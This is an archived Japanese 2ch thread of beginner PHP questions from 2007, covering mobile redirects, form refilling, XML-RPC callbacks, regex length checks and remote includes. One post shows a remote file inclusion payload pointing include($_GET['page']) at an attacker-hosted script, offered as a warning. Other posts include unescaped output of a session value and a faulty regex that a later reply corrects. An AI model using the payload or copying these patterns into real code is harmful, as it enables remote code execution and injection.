【PHP】下らねぇ質問はここに書き込みやがれ 57
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2007/10/22(月) 23:10:36ID:mIlonskoPHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 56
http://pc11.2ch.net/test/read.cgi/php/1192092941/
◆質問する時の注意
・ sage進行(メール欄にsageと記入すること)「sage進行」とはスレを目立つ上部に上げないことによって、荒らしが発見できないようにすることです
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
・ 書き込むときには、「公式マニュアル、リファレンス本は読みました」と明記すること
(でないと、公式マニュアル読めと煽られます)
◆質問後の注意
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
(荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)
◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。
・質問者が「公式マニュアル読んだ」と書いていないからといって、
公式マニュアルに書いてもいないのに、公式マニュアルよめと適当なことを言わないこと。
質問者は公式マニュアルを読んでいるかもしれない。
【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0418nobodyさん
2007/10/27(土) 21:48:06ID:???if内で代入は無いわ
ただ ! より == false 使いたくなることはある
rubyのunlessも嫌い
0421nobodyさん
2007/10/27(土) 21:56:37ID:???PHPの権限で読める任意のファイルを読み込まされちゃう
PHPのバージョンとか設定によっては外部のPHPコードさえ実行される
http://target.com/target.php?page=http://www.attacker.com/hack.php → include($_GET["page"]);
昔某CMSが盛大にやらかしたよね
0423nobodyさん
2007/10/27(土) 22:02:24ID:???比較と代入が紛らわしかったり、==とまちがえて=としちゃうバグを防ぐためだとか。
0424409
2007/10/27(土) 22:04:44ID:???0426nobodyさん
2007/10/27(土) 22:08:32ID:???やっぱ代入文の右辺が評価式になってるっつうのは気持ち悪いというか肌に合わない
他にこういう構文で組める言語ってある?
0427nobodyさん
2007/10/27(土) 22:08:42ID:???0428nobodyさん
2007/10/27(土) 23:20:58ID:DskU7Uv6教えてください。
PHP4で携帯サイト造ってるんですが
<?php
if($_POST["send"]){
header('Location: b.php',true,307);
}
?>
<html>
<head>
<body>
<form name="form1" method="POST" action="a.php">
<input type="text">
<input type="submit" name="send">
</form>
</body>
</html>
って感じでa.phpからb.phpにリダイレクトしたいんですが
DOCOMOだと「指定されたURLは無効です」って言う
エラーが出てしまいます。
(AUだと問題なくリダイレクトできました)
何が悪くて如何解決すれば良いのか教えて頂けないでしょうか?
0429sage
2007/10/27(土) 23:21:55ID:DskU7Uv6下げ忘れました・・・
よろしくお願いします。
0430nobodyさん
2007/10/27(土) 23:22:25ID:???下げ間違えました・・・
0431nobodyさん
2007/10/28(日) 00:20:23ID:J8S2LPG/一般的な登録システムで、確認画面から記入ページに戻った時に
さっき入力していた文言がそのまま残ってるようにしたいんですが、
これは <input name="namae" value="<?php echo $_SESSION['namae']; ?>" type="text">
て風にするんでしょうか?
というか、普通にブラウザのバックボタンやキーボードのbackspaceでもどっても
記入されてる場合が最近は多い気がしますが、念のため上のような処理にしたほうが
いいのか、それとも気にしなくてもいいのか… その辺も含めて、
あれはどうやって実現してるのか教えてください。
環境はwinXP apache2 php5です
0432nobodyさん
2007/10/28(日) 00:22:49ID:???Locationが相対URLだからじゃないの?RFC的には絶対URLで指定するべきだし
あとPOSTのレスポンスで30xが来ても自動的にリダイレクト先をGETしないのが
正しいクライアントの動作だった気がする
個別の端末の動作は知らんので携帯スレでw
0433nobodyさん
2007/10/28(日) 01:00:17ID:???のオア
0434nobodyさん
2007/10/28(日) 01:04:03ID:???0437nobodyさん
2007/10/28(日) 01:35:29ID:???0439nobodyさん
2007/10/28(日) 01:46:48ID:???0440nobodyさん
2007/10/28(日) 04:10:25ID:???メソッドを実行したときに初めて読み込まれるのでしょうか?
それともオブジェクト生成した時点で読み込まれるのでしょうか?
0441nobodyさん
2007/10/28(日) 04:13:05ID:???06年 5月 05年度決算の赤字転落を公表
07年 2月 特定商取引法違反の疑いで経産省と東京都が立ち入り検査
4月 最高裁、解約精算方法に違法判断
6月 経産省が一部業務停止命令
10月 会社更生法の適用を申請
0442nobodyさん
2007/10/28(日) 04:14:16ID:???コンストラクタ内で return $var したらどうなるの?
0443nobodyさん
2007/10/28(日) 04:15:01ID:???0444nobodyさん
2007/10/28(日) 04:18:27ID:???オブジェクトを生成した時点でメモリ上に組み込まれる。
読み込み自体はもっと早く、ソース上で定義した時点で行われてるが
多分、そういう意味ではないんだよな?
0446nobodyさん
2007/10/28(日) 04:22:32ID:???0448nobodyさん
2007/10/28(日) 04:29:28ID:???0449nobodyさん
2007/10/28(日) 04:59:13ID:???コンストラクタで別に初期値設定しなくてもいいのに値を代入して、
おざなりのゲッタだのセッタだのして、
大げさにメゾlるどから値返すような人生に疑問を感じたんでしょ?w
0450nobodyさん
2007/10/28(日) 05:04:31ID:???returnなんてしようと普通思わないと思うんだけど
0451nobodyさん
2007/10/28(日) 05:04:59ID:???コンストラクタのロードタイミングも考慮せずに、
返り値の議論をしているから、それが片手落ちの低脳と申し上げたまで。
0456nobodyさん
2007/10/28(日) 05:21:22ID:???0457nobodyさん
2007/10/28(日) 06:25:49ID:???0458nobodyさん
2007/10/28(日) 09:03:29ID:???たぶん昨日から居座っている奴だから
相手にしないこと
0459nobodyさん
2007/10/28(日) 09:27:37ID:1rvp1hq4ありがとうございます。普通でいいとはどういうことですか?
valueにセッションの値を代入みたいな処理は不要と考えて良いんでしょうか?
つまらない質問かもしれないですが、回答お願いします
0460nobodyさん
2007/10/28(日) 09:46:50ID:MkUMoDKrttp://atamanote.blog48.fc2.com/blog-entry-47.html
ここで書かれているコードを、
$blogs = array_map( 'array_convEnc', XML_RPC_decode( $result->value() ) );
となっているところを、
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こう変えて、エラーをなくしたのですが、FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
忍者ブログでは、投稿すらされません。
他にどこをいじれば、また、代替案などはあるのでしょうか?
忍者ブログは、BlogPet用のXML-RPCエンドポイントを使用しています。
ttp://www.ninja.co.jp/faq/a/169/
0461nobodyさん
2007/10/28(日) 09:53:37ID:???0462nobodyさん
2007/10/28(日) 10:03:47ID:???0463460
2007/10/28(日) 10:43:06ID:MkUMoDKrエラー見る限り、クラス内でコールバック関数は動かないのかと思って、
配列でちゃんと動くよう改良したのですが・・・
0464nobodyさん
2007/10/28(日) 10:56:12ID:???http://www.php.net/callback
http://www.php.net/array_map
http://www.php.net/mb_convert_encoding
http://www.php.net/froeach
0465nobodyさん
2007/10/28(日) 10:57:13ID:???0466460
2007/10/28(日) 11:43:40ID:MkUMoDKrどうしても、
The first argument, 'array_convEnc', should be either NULL or a valid callback
つまり、第一引数でarray_convEncが有効じゃないって、意味だと思うのですが、どういうことだかさっぱりです。
XML_RPC_decode( $result->value() )
で返される値は配列じゃないので、array_mapはなんかおかしい気がするのですが・・・
0467nobodyさん
2007/10/28(日) 12:00:49ID:???第一引数の問題だったらarray_convEnc()側の定義ミスかなんかだろ。
第二引数が配列かどうか以前。
つか、XML_RPC_decode()が配列を返さないんなら
foreach( XML_RPC_decode( $result->value() ) as $a ){
mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こっちだって正常に動かないじゃん。
言ってることとやってることがかみ合ってないぞ。
0468nobodyさん
2007/10/28(日) 12:21:23ID:MkUMoDKr>>466にはさっき気づいたんです。ちゃんと確かめてなかった。
一応、array_convEnc晒しておきます。
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
一応、クラス内の関数でコールバックしてるので、どうなのかなと。
クラス外に関数化すると、
Argument #2 should be an array
第二引数が配列ではない、ってことなので、
call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
にしてみたところ、エラーは出なくなりました。
ただ、
>FC2は、タイトルがArrayになって、本文が無い状態になり、下書き状態で投稿され、
問題が解決してない・・・
0469nobodyさん
2007/10/28(日) 13:08:03ID:???いやあのさ、
The first argument, 'array_convEnc', should be either NULL or a valid callback
このエラーはarray_convEnc()なんて関数はどこにもねーよ!ってエラーであって
関数の中身なんて関係ないのよ。
お前のソースの書き方そのものがどっか間違ってる可能性が高いってこと。
0470nobodyさん
2007/10/28(日) 13:16:50ID:???> 第二引数が配列ではない、ってことなので、
> call_user_func('array_convEnc', XML_RPC_decode( $result->value() ));
> にしてみたところ、エラーは出なくなりました。
なんだそれ?
何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
エラーを出したくないだけで意味のないソースを書くなら、
1行も書かないのが1番早いんだぞ。
ようするにXML_RPC_decode()は入力も出力も配列じゃなくて、
$result->value()の結果は配列なんだろ。
だったら
$blogs = array_map( 'array_convEnc', $result->value() );
function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return XML_RPC_decode( mb_convert_encoding(
$a, mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] ) );
}
とするべきだろう。
つか、元々のコード自体がバグってるだけなんだから
blogの主にゴラァしろよ。
でなきゃ人のコードぱくらず自分で全部作れ。
0471470
2007/10/28(日) 13:18:51ID:???function array_convEnc($a){
if( is_array($a) ){ return array_map( 'array_convEnc', $a ); }
return mb_convert_encoding(
XML_RPC_decode($a), mb_internal_encoding(),
$GLOBALS['XML_RPC_defencoding'] );
}
こうだな。
0472460
2007/10/28(日) 13:27:00ID:MkUMoDKr>>470
>何でそんな修正をしようと思ったのか根拠を述べてみてくれよ。
クラス内での関数が有効化されてないと思って、クラス外に置いただけです。
>でなきゃ人のコードぱくらず自分で全部作れ。
これに関してはまったく反論の余地がありません。
もう少し自分で練ってみます。
0473nobodyさん
2007/10/28(日) 13:36:22ID:???ttp://jp.php.net/manual/ja/language.pseudo-types.php#language.types.callback
0474nobodyさん
2007/10/28(日) 13:54:03ID:???嘘は言ってない
0475nobodyさん
2007/10/28(日) 14:03:16ID:???なんで他人の他人なんて縁遠いやつのコードをデバッグしてやらにゃならんのだ。
0476nobodyさん
2007/10/28(日) 14:06:38ID:ih5Shsjsphp5.2.3です。
文字数制限で文字数を超えたら書き込みできないように設定したいのですが
if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))
10〜50文字で書き込まないと書き込めないようにしてるのですが機能しません;;
よろしければどのように書いてやればいいのか教えて下さい。
0477nobodyさん
2007/10/28(日) 14:08:16ID:???mb_strlenでも使っとけ
0478nobodyさん
2007/10/28(日) 14:09:41ID:???if(ereg("[A-Za-z0-9\+\/]{10,50}", $abc))
↓
if(ereg("[(.*)]{10,50}", $abc))
もっとよさげなのがある気がする
0479nobodyさん
2007/10/28(日) 14:15:50ID:???0480nobodyさん
2007/10/28(日) 14:17:21ID:???0481nobodyさん
2007/10/28(日) 14:21:36ID:g2sP/S0Kどうやって使い分けたらいいですか?
どっちを使えばいいのか分かりません
0482nobodyさん
2007/10/28(日) 14:24:06ID:ih5Shsjsif(ereg("[(.*)]{10,50}", $abc)) こちらで確認できました。有難うございます!
preg_matchの方でやってみたいと思います。
本当に助かりましたm(_ _"m)ペコリ
親切にありがとうございます!(感謝しています)
0483nobodyさん
2007/10/28(日) 15:16:12ID:???いやそれ…ホントに機能してる?
確認方法間違ってね?
if(ereg("^.{10,50}$", $abc))
じゃなきゃダメだろ?
0484nobodyさん
2007/10/28(日) 15:55:57ID:ih5Shsjs確認しましたら50文字以上も記述されるようになってました。
>>483
こちらで教えてもらった方法でしたら
あいうえおなど半角記号英数字以外でも記述されるようになってしまっています・・・。
勉強してきます(汗
0485nobodyさん
2007/10/28(日) 15:59:56ID:ih5Shsjs>>483
愛してます!
0486nobodyさん
2007/10/28(日) 16:05:29ID:???0488nobodyさん
2007/10/28(日) 16:10:24ID:???0492nobodyさん
2007/10/28(日) 20:03:49ID:???サーバのPHPがSafeModeで動作しておりfopen()が使えません。
CGI版で動かす方法も試そうと思ったのですが、サーバが
モジュール版で動作しているためそれもできませんでした。
良い代替方法はありますか?
0494nobodyさん
2007/10/28(日) 21:54:36ID:B6O0ATcQWinBinder+Bamcompilerがついてる開発向けソフトなどまだないのでしょうか?
0497nobodyさん
2007/10/29(月) 01:01:20ID:???0498nobodyさん
2007/10/29(月) 01:11:02ID:???何が?
0499nobodyさん
2007/10/29(月) 02:16:49ID:/JLEVJSc教えて下さい。
やりたいことは最後に書き込みをした人の時間を取得して表示させたいんです。
$now = gmdate("Y/m/d H:i", time()+9*60*60); が時間を取得しています。
下記のように実行させて表示させたいのですが、どこか参考になるサイトなどないでしょうか?
<?php
$lastmod = date ("Y/m/d H:i:s", getlastmod());
echo "最終更新日: " . date ($lastmod);
?>
0501nobodyさん
2007/10/29(月) 02:27:27ID:???0503nobodyさん
2007/10/29(月) 03:31:02ID:LZFfsiWaリモート上にb.php(http://www.example.com/b.php)があります。
ローカルのa.phpからrequire_onceを使ってb.phpを実行するまでは出来たのですが、
b.phpでセットした値をa.phpで使用する方法が分からず悩んでいます。
呼び先のphpから呼び元のphpへデータを返す方法を教えていただけませんでしょうか。
宜しくお願いします。
0504nobodyさん
2007/10/29(月) 03:41:39ID:???それあんたの言う「リモート」って関係あるか?
require_onceでファイルだけ読込んであんたの言う「ローカル」で実行してるんだろ?
0506nobodyさん
2007/10/29(月) 03:45:56ID:???0507nobodyさん
2007/10/29(月) 03:48:54ID:???0508nobodyさん
2007/10/29(月) 03:53:30ID:???まず具体的に何をしたいのか、どんなプログラムを作りたいのか言ったほうが早いよ
ある所から値を取り出したいなら、XMLなりシリアライズなりCSVなりファイルをphpで生成したほうがいいんじゃない?
0509nobodyさん
2007/10/29(月) 03:55:34ID:???たとえば配布されているスクリプトを考えて欲しい。
掲示板にせよアップローダにせよ、管理者のパスワードを設定する項目があるだろう。
パスワードが格納される変数は通常変更しないし、ファイル名もそのまま使うだろう。
(もし変更した場合、関連箇所を全て修正しないといけない)
となると、配布されているスクリプトの場合、
パスワードが格納されている変数と、パスワードが記述されているファイル名は、
第三者でも容易にわかってしまうわけだ。
たとえばhttp://example.com/conf.phpがパスワードが記述されているファイル名として、
$passwordにパスワードが格納されているとすると、
ローカルから
require_once("http://example.com/conf.php");
echo $password;
なんてできたら大変なことになるだろう?ちょっと考えればわかるはずだ。
0510nobodyさん
2007/10/29(月) 04:09:41ID:LZFfsiWa深夜に色々とアドバイス頂きましてどうもありがとうございました。
私のやりたい事は、>>509さんのご指摘の通り、
で、b.php側で
function foo() {
$data = "";
return $data;
}
とやって、ローカル側のa.phpで$dataが取得できたら、と思っていました。
でも、確かに、よく考えればセキュリティー上許されないですね。すみません。
>>508のアドバイス通り、一回ファイルをサーバー側で生成して
それを見に行く方法しかないみたいです。
# 初めファイル経由でデータをサーバーから受け取ろうとしたのですが、
# 一つの変数を受け取るのに一時ファイルを作るに抵抗を感じいました。
# ソケット経由でデータを受け取る方法も考えたですが、それも大げさかなぁ、と思って安易に考えていました。
どうも、ありがとうございました。
0511508
2007/10/29(月) 04:17:56ID:???ちょ、呼び捨て?w
http://jp.php.net/manual/ja/function.include.php
ここ読むとincludeによる読み込みは出来るみたいだぞ
まぁ、値渡したいだけなら>>508とかの方法にしたほうがいいけど
■ このスレッドは過去ログ倉庫に格納されています